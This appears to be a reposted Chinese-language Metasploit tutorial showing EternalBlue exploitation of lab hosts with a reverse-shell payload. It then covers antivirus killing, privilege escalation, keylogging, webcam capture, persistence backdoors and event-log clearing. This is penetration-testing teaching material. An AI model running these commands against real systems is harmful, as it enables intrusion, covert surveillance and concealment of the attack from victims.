Metasploit Framework(MSF)的使用
目錄
Metasploit
Metasploit的安裝和升級
MSF中加載自定義的exploit模塊
漏洞利用(exploit)
攻擊載荷(payload)
Meterpreter
MS17_010(永恒之藍)
Auxiliary輔助探測模塊
Exploit漏洞利用模塊
Payload攻擊載荷模塊
后滲透階段
Post?后滲透模塊?
查看主機是否運行在虛擬機上
關閉殺毒軟件?
獲取目標主機的詳細信息
訪問文件系統
上傳/下載文件
權限提升
獲取用戶密碼
運行程序
屏幕截圖
創建一個新賬號
啟用遠程桌面
鍵盤記錄
進程遷移
禁止目標主機使用鍵盤鼠標
用目標主機攝像頭拍照
使用擴展庫
生成持續性后門
設置Socks4a代理
portfwd端口轉發
清除事件日志
導入并執行PowerShell腳本
加載stdapi
升級Session
Meterpreter的更多用法
Metasploit
Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟件漏洞,并保持持續更新。Metasploit可以用來信息收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社區冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是采用Perl語言編寫的,但是再后來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。我們接下來以大名鼎鼎的永恒之藍MS17_010漏洞為切入點,講解MSF框架的使用。
MSF的更新:msfupdate
Metasploit的安裝和升級
在一般的linux中,默認是不安裝MSF的。以下是在非kali的Linux下安裝MSF框架。
一鍵安裝
使用方法:
- 進入框架:msfconsole
- 使用search命令查找相關漏洞:?search??ms17-010
- 使用use進入模塊:??use exploit/windows/smb/ms17_010_eternalblue? ?
- 使用info查看模塊信息:?info?
- 設置攻擊載荷:set payload windows/x64/meterpreter/reverse_tcp
- 查看模塊需要配置的參數:show options
- 設置參數:set? RHOST? 192.168.125.138
- 攻擊:exploit / ?run?
- 后滲透階段
不同的攻擊用到的步驟也不一樣,這不是一成不變的,需要靈活使用。
我們也可以將攻擊代碼寫入 configure.rc(只要是以 .rc?結尾的文件)配置文件中,然后使用命令msfconsole? -r? ?configure.rc??進行自動攻擊!
MSF中加載自定義的exploit模塊
參考文章:CVE-2019-0708 遠程桌面漏洞復現? ?,該文中介紹了如果加載自定義的exploit模塊并且成功攻擊。
漏洞利用(exploit)
漏洞利用exploit,也就是我們常說的 exp,他就是對漏洞進行攻擊的代碼。
exploit漏洞利用模塊路徑:/usr/share/metasploit-framework/modules/exploits
這里面有針對不同平臺的 exploit 。
我們現在就進?windows 平臺看看,這里會列出針對windows平臺不同服務的漏洞利用
?我們進入smb服務,這是windows中經常爆出漏洞的服務,比如我們的永恒之藍漏洞就在這里面。漏洞利用代碼是以 rb 結尾的文件,因為metasploit是用Ruby語言編寫的。
攻擊載荷(payload)
payload模塊路徑:/usr/share/metasploit-framework/modules/payloads
Payload中包含攻擊進入目標主機后需要在遠程系統中運行的惡意代碼,而在Metasploit中Payload是一種特殊模塊,它們能夠以漏洞利用模塊運行,并能夠利用目標系統中的安全漏洞實施攻擊。簡而言之,這種漏洞利用模塊可以訪問目標系統,而其中的代碼定義了Payload在目標系統中的行為。
Shellcode :Shellcode是payload中的精髓部分,在滲透攻擊時作為攻擊載荷運行的一組機器指令。Shellcode通常用匯編語言編寫。在大多數情況下,目標系統執行了shellcode這一組指令 之后,才會提供一個命令行shell。
Metasploit中的 Payload 模塊主要有以下三種類型:
- -Single
- -Stager
- -Stage
- Single是一種完全獨立的Payload,而且使用起來就像運行 calc.exe 一樣簡單,例如添加一個系統用戶或刪除一份文件。由于Single Payload是完全獨立的,因此它們有可能會被類似 netcat 這樣的非metasploit處理工具所捕捉到。
- Stager這種Payload負責建立目標用戶與攻擊者之間的網絡連接,并下載額外的組件或應用程序。一種常見的Stager Payload就是reverse_tcp,它可以讓目標系統與攻擊者建立一條tcp連接,讓目標系統主動連接我們的端口(反向連接)。另一種常見的是bind_tcp,它可以讓目標系統開啟一個tcp監聽器,而攻擊者隨時可以與目標系統進行通信(正向連接)。
- Stage是Stager Payload下的一種Payload組件,這種Payload可以提供更加高級的功能,而且沒有大小限制。
在 Metasploit 中,我們可以通過Payload的名稱和使用格式來推斷它的類型:
當我們在Metasploit中執行 show? payloads 命令之后,它會給我們顯示一個可使用的Payload列表:
在這個列表中,像 windows/powershell_bind_tcp 就是一個Single Payload,它不包含Stage Payload
而 windows/meterpreter/reverse_tcp 則由一個Stage Payload(meterpreter)和 一個Stager Payload(reverse_tcp)組成
Stager中幾種常見的payload
Meterpreter
Meterpreter屬于stage payload,在Metasploit Framework中,Meterpreter是一種后滲透工具,它屬于一種在運行過程中可通過網絡進行功能擴展的動態可擴展型Payload。這種工具是基于“內存DLL注入”理念實現的,它能夠通過創建一個新進程并調用注入的DLL來讓目標系統運行注入的DLL文件。
Meterpreter是如何工作的?
首先目標先要執行初始的溢出漏洞會話連接,可能是 bind正向連接,或者反彈 reverse 連接。反射連接的時候加載dll鏈接文件,同時后臺悄悄處理 dll 文件。其次Meterpreter核心代碼初始化,通過 socket套接字建立一個TLS/1.0加密隧道并發送GET請求給Metasploit服務端。Metasploit服務端收到這個GET請求后就配置相應客戶端。最后,Meterpreter加載擴展,所有的擴展被加載都通過TLS/1.0進行數據傳輸。
Meterpreter的特點:
- Meterpreter完全駐留在內存,沒有寫入到磁盤
- Meterpreter注入的時候不會產生新的進程,并可以很容易的移植到其它正在運行的進程
- 默認情況下, Meterpreter的通信是加密的,所以很安全
- 擴展性,許多新的特征模塊可以被加載。
我們在設置 payloads 時,可以將 payloads 設置為:windows/meterpreter/reverse_tcp? ,然后獲得了?meterpreter> 之后我們就可以干很多事了!具體的做的事,在我們下面的后滲透階段都有講!
MS17_010(永恒之藍)
我們現在模擬使用 MS17_010 漏洞攻擊,這個漏洞就是去年危害全球的勒索病毒利用的永恒之藍漏洞。
kali控制臺輸入:msfconsole? ? ?進入metasploit框架
尋找MS17_010漏洞: search ms17_010?
這里找到了兩個模塊,第一個輔助模塊是探測主機是否存在MS17_010漏洞,第二個是漏洞利用模塊,我們先探測哪些主機存在漏洞?
Auxiliary輔助探測模塊
該模塊不會直接在攻擊機和靶機之間建立訪問,它們只負責執行掃描,嗅探,指紋識別等相關功能以輔助滲透測試。
輸入命令:use auxiliary/scanner/smb/smb_ms17_010
查看這個模塊需要配置的信息:show options
RHOSTS 參數是要探測主機的ip或ip范圍,我們探測一個ip范圍內的主機是否存在漏洞
輸入:set? RHOSTS? 192.168.125.125-129.168.125.140
輸入:exploit? ?攻擊,這里有+號的就是可能存在漏洞的主機,這里有3個主機存在漏洞
Exploit漏洞利用模塊
然后我們就可以去利用漏洞攻擊了,選擇漏洞攻擊模塊:?use exploit/windows/smb/ms17_010_eternalblue? ?
查看這個漏洞的信息:info
查看可攻擊的系統平臺,這個命令顯示該攻擊模塊針對哪些特定操作系統版本、語言版本的系統:show targets
這里只有一個,有些其他的漏洞模塊對操作系統的語言和版本要求的很嚴,比如MS08_067,這樣就要我們指定目標系統的版本的。如果不設置的話,MSF會自動幫我們判斷目標操作系統的版本和語言(利用目標系統的指紋特征)
Payload攻擊載荷模塊
攻擊載荷是我們期望在目標系統在被滲透攻擊之后完成的實際攻擊功能的代碼,成功滲透目標后,用于在目標系統上運行任意命令。
查看攻擊載荷:show? payloads
該命令可以查看當前漏洞利用模塊下可用的所有Payload
設置攻擊載荷:set payload windows/x64/meterpreter/reverse_tcp
查看模塊需要配置的參數: show? options
設置RHOST,也就是要攻擊主機的ip:set? ?RHOST? 192.168.125.138
設置LHOST,也就是我們主機的ip,用于接收從目標機彈回來的shell:set? LHOST 192.168.125.129
如果我們這里不設置lport的話,默認是4444端口監聽
攻擊: exploit?
后滲透階段
運行了exploit命令之后,我們開啟了一個reverse TCP監聽器來監聽本地的 4444?端口,即我(攻擊者)的本地主機地址(LHOST)和端口號(LPORT)。運行成功之后,我們將會看到命令提示符 meterpreter > 出現,我們輸入: shell? 即可切換到目標主機的windows?shell,要想從目標主機shell退出到?meterpreter ,我們只需輸入:exit
我們要想從 meterpreter 退出到MSF框架,輸入:background
輸入: sessions? -l?? ? ? 查看我們獲得的shell,前面有id
輸入:?sessions? -i? 1?? ? 即可切換到id為1的shell
輸入:shell? ? ? ? ? ?即可進入 cmd 類型的控制,再輸入:powershell? ? ,即可進入 powershell 類型的控制臺
Post?后滲透模塊?
該模塊主要用于在取得目標主機系統遠程控制權后,進行一系列的后滲透攻擊動作。
輸入:sysinfo? ?查看目標主機的信息
查看主機是否運行在虛擬機上
run post/windows/gather/checkvm關閉殺毒軟件?
拿到目標主機的shell后第一件事就是關閉掉目標主機的殺毒軟件,通過命令:
run? killav獲取目標主機的詳細信息
使用命令:
run scraper?它將目標機器上的常見信息收集起來然后下載保存在本地
訪問文件系統
Meterpreter支持非常多的文件系統命令(基本跟Linux系統命令類似),一些常用命令如下:
cd:切換目標目錄;
cat:讀取文件內容;
rm:刪除文件;
edit:使用vim編輯文件
ls:獲取當前目錄下的文件;
mkdir:新建目錄;
rmdir:刪除目錄;?
上傳/下載文件
download??file 命令可以幫助我們從目標系統中下載文件
upload? file??命令則能夠向目標系統上傳文件。
權限提升
有的時候,你可能會發現自己的 Meterpreter 會話受到了用戶權限的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改注冊表、安裝后門或導出密碼等活動都需要提升用戶權限,而Meterpreter給我們提供了一個 getsystem 命令,它可以使用多種技術在目標系統中實現提權:
getuid? 命令可以獲取當前用戶的信息,可以看到,當我們使用?getsystem進行提權后,用戶身材為??NT AUTHORITY\SYSTEM ,這個也就是Windows的系統權限。
注:執行getsystem命令后,會顯示錯誤,但是其實已經運行成功了!
獲取用戶密碼
傳送門:MSF中獲取用戶密碼
運行程序
先查看目標主機安裝了哪些應用
run post/windows/gather/enum_applications
我們還可以使用? execute 命令在目標系統中執行應用程序。這個命令的使用方法如下:
execute 參數 -f 可執行文件運行后它將執行所指定的命令。可選參數如下:
-f:指定可執行文件
-H:創建一個隱藏進程
-a:傳遞給命令的參數
-i:? 跟進程進行交互
-m:從內存中執行
-t: 使用當前偽造的線程令牌運行進程
-s: 在給定會話中執行進程
屏幕截圖
輸入:screenshot? ,截圖目標主機屏幕,可以看到,圖片被保存到了 /root?目錄下
創建一個新賬號
先查看目標主機有哪些用戶
run post/windows/gather/enum_logged_on_users
接下來,我們可以在目標系統中創建一個新的用戶賬號:run getgui -u hack -p 123,這個命令會創建用戶,并把他添加到 Administrators 組中,這樣該用戶就擁有遠程桌面的權限了。
這里成功創建了用戶,但是添加到Administrators組中失敗了 !
如果添加到Administrators組中失敗了的話,我們可以運行:shell ,進行cmd窗口手動將該用戶添加到administrators組中。
啟用遠程桌面
當我們新添加的用戶已經擁有遠程桌面之后,我們就可以使用這個賬號憑證來開啟遠程桌面會話了。
首先,我們需要確保目標Windows設備開啟了遠程桌面功能(需要開啟多個服務),不過我們的 getgui 腳本可以幫我們搞定。我們可以使用-e參數確保目標設備開啟了遠程桌面功能(重啟之后同樣會自動開啟),我們輸入:?run getgui -e? 或者??run post/windows/manage/enable_rdp
在開啟遠程桌面會話之前,我們還需要使用“idletime”命令檢查遠程用戶的空閑時長:?idletime
然后我們就可以使用遠程桌面用我們創建的用戶遠程登錄目標主機了。由于上一步創建的用戶沒有被添加到遠程桌面用戶組中,所以這一步就沒法演示。?
鍵盤記錄
Meterpreter還可以在目標設備上實現鍵盤記錄功能,鍵盤記錄主要涉及以下三種命令:
keyscan_start:開啟鍵盤記錄功能
keyscan_dump:顯示捕捉到的鍵盤記錄信息
keyscan_stop:停止鍵盤記錄功能
不過在使用鍵盤記錄功能時,通常需要跟目標進程進行綁定,接下來我們介紹如何綁定進程,然后獲取該進程下的鍵盤記錄?
進程遷移
Meterpreter 既可以單獨運行,也可以與其他進程進行綁定。因此,我們可以讓Meterpreter與類似explorer.exe這樣的進程進行綁定,并以此來實現持久化。
在下面的例子中,我們會將Meterpreter跟?winlogon.exe?綁定,并在登錄進程中捕獲鍵盤記錄,以獲得用戶的密碼。
首先,我們需要使用:?ps? 命令查看目標設備中運行的進程:
我們可以使用:??getpid? 查看我們當前的進程id
使用: migrate? 目標進程ID 命令來綁定目標進程id,這里綁定目標pid的時候,經常會斷了 shell。進程遷移后會自動關閉原來進程,沒有關閉可使用? kill? pid? 命令關閉進程。或者使用自動遷移進程(run post/windows/manage/migrate)命令,系統會自動尋找合適的進程然后遷移。
綁定完成之后,我們就可以開始捕獲鍵盤數據了,可以看到,用戶輸入了 123?然后回車,說明密碼是 123
禁止目標主機使用鍵盤鼠標
- 禁止(允許)目標使用鍵盤:?uictl? disable (enable) keyboard
- 禁止(允許)目標使用鼠標: uictl? disable (enable) mouse
用目標主機攝像頭拍照
- 獲取目標系統的攝像頭列表:webcam_list
- 從指定的攝像頭,拍攝照片:webcam_snap
- 從指定的攝像頭,開啟視頻:webcam_stream
可以看到啊,目標主機有一個攝像頭
于是,我們拍一張照片看看,可以看到,已經拍完了照,并且顯示出來了
我們再來開啟視頻試試,開啟攝像頭拍攝視頻。他會彈出一個網頁,可以查看到攝像頭那端的實時操作,相當于直播
使用擴展庫
輸入?load?或者 run? 然后雙擊table
生成持續性后門
因為 meterpreter 是基于內存DLL建立的連接,所以,只要目標主機關機,我們的連接就會斷。總不可能我們每次想連接的時候,每次都去攻擊,然后再利用 meterpreter 建立連接。所以,我們得在目標主機系統內留下一個持續性的后門,只要目標主機開機了,我們就可以連接到該主機。
建立持續性后門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過 服務啟動(metsvc)
啟動項啟動
啟動項啟動的話,我們先生成一個后門工具,傳送門——>?用MSF生成一個后門木馬
然后放到windows的啟動目錄中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup這樣這個后門每次開機就都能啟動了,然后我們只要相連就監聽相應的端口就行了。
服務啟動
通過服務啟動,我們可以運行命令?
?我們在被攻擊機可以看到這個文件,是一個VBScript腳本
查看靶機的端口連接情況,可以看到靶機連著我們的8888端口
設置Socks代理
傳送門:MSF搭建socks代理
portfwd端口轉發
portfwd 是meterpreter提供的一種基本的端口轉發。porfwd可以反彈單個端口到本地,并且監聽,使用方法如下
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #將192.168.11.13的3389端口轉發到本地的3389端口上,這里的192.168.11.13是獲取權限的主機的ip地址然后我們只要訪問本地的3389端口就可以連接到目標主機的3389端口了
rdesktop 127.0.0.1:3389清除事件日志
完成攻擊操作之后,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日志文件之中,因此我們需要在完成攻擊之后使用命令? clearev? 命令來清除事件日志:
導入并執行PowerShell腳本
如果powershell腳本是用于域內信息收集的,則獲取到的權限用戶需要是域用戶
加載stdapi
有時候雖然我們獲取到了meterpreter,但是執行一些命令會顯示沒有該命令,這時我們可以執行:load stdapi來加載,這樣我們就可以執行命令了。
升級Session
有時候,當我們收到的不是 meterpreter 類型的 session 的話,可能不好操作。我們可以執行命令? sessions -u? id? 來升級session。執行該命令,默認調用的是? ?post/multi/manage/shell_to_meterpreter? 模塊。
Meterpreter的更多用法
Core Commands ??核心命令
=============
??? Command ????????????????? Description
????-------???????????????????-----------
??????? ? ? ? ? ? ? ? ? ? ? ? ? ?Help menu
??? background???????? Backgrounds the current session
??? bgkill? ? ? ? ? ? ? ? ? ? ?Kills a background meterpreter script
??? bglist? ? ? ? ? ? ? ? ? ? ?Lists running background scripts
??? bgrun? ? ? ? ? ? ? ? ? ? ? Executes a meterpreter script as a background thread
??? channel ????????????????? Displays information or control active channels
??? close? ? ? ? ? ? ? ? ? ? ? Closes a channel
??? disable_unicode_encoding? ?Disables encoding of unicode strings
??? enable_unicode_encoding ? Enables encoding of unicode strings
??? exit?? ? ? ? ? ? ? ? ? ? ? ? Terminate the meterpreter session
??? get_timeouts ???????????? Get the current session timeout values
??? help? ? ? ? ? ? ? ? ? ? ? ?Help menu
??? info? ? ? ? ? ? ? ? ? ? ? ? Displays information about a Post module
??? irb? ? ? ? ? ? ? ? ? ? ? ? ? Drop into irb scripting mode
??? load? ? ? ? ? ? ? ? ? ? ? ?Load one or more meterpreter extensions
??? machine_id ?????????????? Get the MSF ID of the machine attached to the session
????migrate?????????????????? Migrate the server to another process
??? quit????????????????????? Terminate the meterpreter session
??? read ???????????????????? Reads data from a channel
??? resource ???????????????? Run the commands stored in a file
??? run ????????????????????? Executes a meterpreter script or Post module
??? set_timeouts ???????????? Set the current session timeout values
??? sleep ??????????????????? Force Meterpreter to go quiet, then re-establish session.
??? transport ??????????????? Change the current transport mechanism
??? use ????????????????????? Deprecated alias for 'load'
??? uuid ???????????????????? Get the UUID for the current session
??? write ??????????????????? Writes data to a channel
Stdapi: File system Commands 文件系統命令
============================
??? Command ????? Description
????-------???????-----------
??? cat ????????? Read the contents of a file to the screen
??? cd ?????????? Change directory
??? dir ????????? List files (alias for ls)
??? download????? Download a file or directory
??? edit ???????? Edit a file
??? getlwd ?????? Print local working directory
??? getwd ??????? Print working directory
??? lcd ????????? Change local working directory
??? lpwd ???????? Print local working directory
??? ls??????????? List files
??? mkdir ??????? Make directory
??? mv ?????????? Move source to destination
??? pwd ????????? Print working directory
??? rm ?????????? Delete the specified file
??? rmdir ??????? Remove directory
??? search ?????? Search for files
??? show_mount ?? List all mount points/logical drives
??? upload??????? Upload a file or directory
Stdapi: Networking Commands 網絡命令
===========================
??? Command ????? Description
????-------???????-----------
????arp? ? ? ? ? ? ? ? Display the host ARP cache
??? getproxy? ? ? ?Display the current proxy configuration
??? ifconfig? ? ? ? Display interfaces
????ipconfig????? Display interfaces
??? netstat ??? ? Display the network connections
??? portfwd? ? ? ? Forward a local port to a remote service
??? route? ? ? ? ? View and modify the routing table
Stdapi: System Commands 系統命令
=======================
?
??? Command ????? Description
????-------???????-----------
??? clearev ????? Clear the event log
??? drop_token ?? Relinquishes any active impersonation token.
??? execute ????? Execute a command
??? getenv ?????? Get one or more environment variable values
????getpid??????? Get the current process identifier
??? getprivs ???? Attempt to enable all privileges available to the current process
??? getsid ?????? Get the SID of the user that the server is running as
??? getuid??????? Get the user that the server is running as
????kill ???????? Terminate a process
????ps ?????????? List running processes
??? reboot ?????? Reboots the remote computer
??? reg ????????? Modify and interact with the remote registry
??? rev2self ???? Calls RevertToSelf() on the remote machine
??? shell???????? Drop into a system command shell
??? shutdown????? Shuts down the remote computer
??? steal_token ? Attempts to steal an impersonation token from the target process
??? suspend ????? Suspends or resumes a list of processes
??? sysinfo?????? Gets information about the remote system, such as OS
Stdapi: User interface Commands 用戶界面命令
===============================
??? Command ?????? Description
????-------????????-----------
??? enumdesktops? ? ? ?List all accessible desktops and window stations
??? getdesktop? ? ? ? ? ? ?Get the current meterpreter desktop
??? idletime? ? ? ? ? ? ? ? ? ? Returns the number of seconds the remote user has been idle
??? keyscan_dump? ? ? ?Dump the keystroke buffer
??? keyscan_start? ? ? ? Start capturing keystrokes
??? keyscan_stop? ? ? ? Stop capturing keystrokes
??? screenshot?? ? ? ? ? Grab a screenshot of the interactive desktop
??? setdesktop? ? ? ? ? ? ? Change the meterpreters current desktop
??? uictl?? ? ? ? ? ? ? ? ? ? ? Control some of the user interface components
Stdapi: Webcam Commands 攝像頭命令
=======================
??? Command ?????? Description
????-------????????-----------
??? record_mic? ? ? ? ? ?Record audio from the default microphone for X seconds
??? webcam_chat? ? ? ?Start a video chat
??? webcam_list?? ? ? List webcams
??? webcam_snap??? Take a snapshot from the specified webcam
??? webcam_stream? ?Play a video stream from the specified webcam
Priv: Elevate Commands 提權命令
======================
??? Command ????? Description
????-------???????-----------
??? getsystem???? Attempt to elevate your privilege to that of local system.
Priv: Password database Commands 密碼
================================
??? Command ????? Description
????-------???????-----------
??? hashdump????? Dumps the contents of the SAM database
Priv: Timestomp Commands 時間戳命令
========================
??? Command ????? Description
????-------???????-----------
??? timestomp???? Manipulate file MACE attributes
相關文章:Msfvenonm生成一個后門木馬
? ? ? ? ? ? ? ? ??滲透測試神器Cobalt Strike的使用
總結
以上是生活随笔為你收集整理的Metasploit Framework(MSF)的使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CobaltStrike的使用
- 下一篇: Hydra暴力破解工具的用法